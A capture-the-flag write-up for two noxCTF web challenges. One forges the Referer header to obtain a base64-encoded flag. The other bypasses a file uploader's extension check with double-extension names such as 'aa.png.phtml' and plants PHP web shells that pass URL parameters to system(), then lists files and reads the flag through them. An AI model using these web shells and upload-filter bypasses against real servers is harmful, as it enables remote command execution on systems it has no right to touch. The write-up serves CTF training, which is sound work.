noxCTF

web

refer

http://chal.noxale.com:5000

When loading the site we get a message: where the **** did you come from ?, When reloading the site, the message changes to say: its easy man, and quickly returns to the original message

>> Original Request

```
GET /check_from_google HTTP/1.1
Host: chal.noxale.com:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://chal.noxale.com:5000/
X-Requested-With: XMLHttpRequest
Connection: close
```

>> Original Response

```
HTTP/1.1 400 BAD REQUEST
Server: nginx/1.13.12
Date: Thu, 06 Sep 2018 20:13:52 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 34
Connection: close

where the **** did you come from??
```

We modified the original Request and we get an answer

>> Modified Request

```
GET /check_from_google HTTP/1.1
Host: chal.noxale.com:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://chal.noxale.com:5000/check_from_google
X-Requested-With: XMLHttpRequest
Connection: close
```

>> Response

```
HTTP/1.1 200 OK
Server: nginx/1.13.12
Date: Thu, 06 Sep 2018 21:05:52 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 57
Connection: close

bm94Q1RGe0cwb2dMM18xc180bFc0WXNfVXJfYjNTVF9SM2YzcjNuYzN9
```

We decode the string in Base46 and get the flage

```
root@kali:~# echo bm94Q1RGe0cwb2dMM18xc180bFc0WXNfVXJfYjNTVF9SM2YzcjNuYzN9 | base64 -d

noxCTF{G0ogL3_1s_4lW4Ys_Ur_b3ST_R3f3r3nc3}
```

uploader

This is my new file uploader server. I bet you can’t hack it!

http://chal.noxale.com:8079

The website allows us to upload files. Let’s create a php shell file, but save it as shell.php

`<?phpsystem($_GET['cmd']);?>`.

Then, try to upload it.

File: dummy.txt
There is no .png/.jpg/.gif in that file name

Let’s check the given url.

We have uploaded it successfully. Let’s try to investigate the /uploads/ directory.

We have a directory called “Don’t open”. Let’s see what’s inside.

.htaccess

```
Options +Indexes
AddType application/x-httpd-php .cyb3r
```

Exploitation

we create a file named aa.png.phtml

```
<?php

echo "pwned";
if(isset($_GET['info'])){
		phpinfo();
}

if(isset($_GET['cmd'])){
		$result = system($_GET['cmd']);
		echo $result;
}
```

then we lauch our shell /shell?cmd=ls -l

```
 1.jpg
1.jpg%00php
1.php%00jpg
1.php.jpg
1jpg
2.php%00jpg
2.php.jpg
2.php;.jpg
7H3-FL4G-1S-H3r3
Don't open
dummy.png.txt
exec.png.cyb3r
gif.phpjpg
gifjpg
rce.png.cyb3r
```

```
shell.png.cyb3r
shell.png.phtml
uploadTest.txt
```

```
shell /shell?cmd=cat 7H3-FL4G-1S-H3r3
noxCTF{N3V3R_7RU57_07H3R5}
```